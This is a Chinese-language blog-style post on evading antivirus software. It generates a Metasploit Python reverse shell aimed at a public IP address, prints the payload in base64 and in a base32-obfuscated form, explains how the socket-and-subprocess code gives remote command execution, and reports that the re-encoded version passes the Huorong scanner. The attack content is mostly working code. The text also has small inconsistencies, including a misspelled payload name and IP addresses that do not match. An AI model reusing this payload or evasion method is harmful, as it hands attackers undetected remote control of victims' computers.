杀毒软件的基本等级
首先要了解杀毒软件的定义等级如下:
- 无害
- 可疑
- 确认为病毒
我们需要把程序做到无害
等级才能支撑我们的下一步动作
杀毒软件是如何进行识别病毒程序
静态识别:
杀软的大体查杀规则是基于文件hash值(整体hash或者片段hash等)、字符串特征、函数特征、api检测、敏感行为(如加、解密)行为检测等这些方面。对于静态检测主要的目的是在于绕过对文件哈希字符串导入API等特征来进行的。
动态识别:
动态识别常常是存在于静态分析之后,部分杀软会有沙盒。
沙盒:
沙盒又称为启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为。
沙盒模拟的常见特征:
- 内存较小:不影响计算机的正常运行
- 时间较快:沙盒内置的时间速度比现实世界要快很多,因为它要提升查杀速度。
- 进程或文件不完整:减少杀毒软件运行时对计算机的消耗。
- io设备的缺失:鼠标键盘等事件大部分沙盒都没有。
MSF生成的python木马源码分析
- 使用MSF生成python木马
1 | msfvenom -p python/shell_rever_tcp LHOST=101.34.214.7 LPORT=7777>shell.py |
用pycharm打开,源码如下:
1 | exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCBhcyBzCmltcG9ydCBzdWJwcm9jZXNzIGFzIHIKc289cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pCnNvLmNvbm5lY3QoKCcxMjEuMzguMjE0LjcnLDc3NzcpKQp3aGlsZSBUcnVlOgoJZD1zby5yZWN2KDEwMjQpCglpZiBsZW4oZCk9PTA6CgkJYnJlYWsKCXA9ci5Qb3BlbihkLHNoZWxsPVRydWUsc3RkaW49ci5QSVBFLHN0ZG91dD1yLlBJUEUsc3RkZXJyPXIuUElQRSkKCW89cC5zdGRvdXQucmVhZCgpK3Auc3RkZXJyLnJlYWQoKQoJc28uc2VuZChvKQo=')[0])) |
通过base64转码可以查看源代码
1 | import socket as s |
通过火绒可以直接查杀到是后门。
2.分析MSF源码
1 | import socket as s |
发现它的主要机理是使用socket来与服务器建立连接。
s.socket(s.AF_INET,s.SOCK_STREAM)
:服务器之间网络通信,并且使用流式socket(TCP是面向字节流的服务)。
so.recv(1024)
:接受TCP套接字的数据。数据以字符串形式返回,后面跟的是最大数据量。
subprocess
:subprocess模块允许我们启动一个新进程,并连接到它们的输入/输出/错误管道,从而获取返回值。
3.修改代码达到免杀效果
通过上面的代码分析发现,代码使用了base64来进行解密最后来进行加密,那么我们可以换一种加密方式,这里就在shell修改成使用base32来解密。
修改后代码如下
1 | exec(__import__('base64').b32decode(__import__('codecs').getencoder('utf-8')('NFWXA33SOQQHG33DNNSXIIDBOMQHGCTJNVYG64TUEBZXKYTQOJXWGZLTOMQGC4ZAOIFHG3Z5OMXHG33DNNSXIKDTFZAUMX2JJZCVILDTFZJU6Q2LL5JVIUSFIFGSSCTTN4XGG33ONZSWG5BIFATTCMRRFYZTQLRSGE2C4NZHFQ3TONZXFEUQU53INFWGKICUOJ2WKOQKBFSD243PFZZGKY3WFAYTAMRUFEFAS2LGEBWGK3RIMQUT2PJQHIFASCLCOJSWC2YKBFYD24ROKBXXAZLOFBSCY43IMVWGYPKUOJ2WKLDTORSGS3R5OIXFASKQIUWHG5DEN52XIPLSFZIESUCFFRZXIZDFOJZD24ROKBEVARJJBIEW6PLQFZZXIZDPOV2C44TFMFSCQKJLOAXHG5DEMVZHELTSMVQWIKBJBIEXG3ZOONSW4ZBIN4UQ===')[0])) |
发现成功过检验:
4.进行测试
用虚拟机连接服务器看是否能连接:
但是在尝试用一台真实电脑发现当输入命令的时候会报typeerror错误。最后判断是python3和2的版本问题。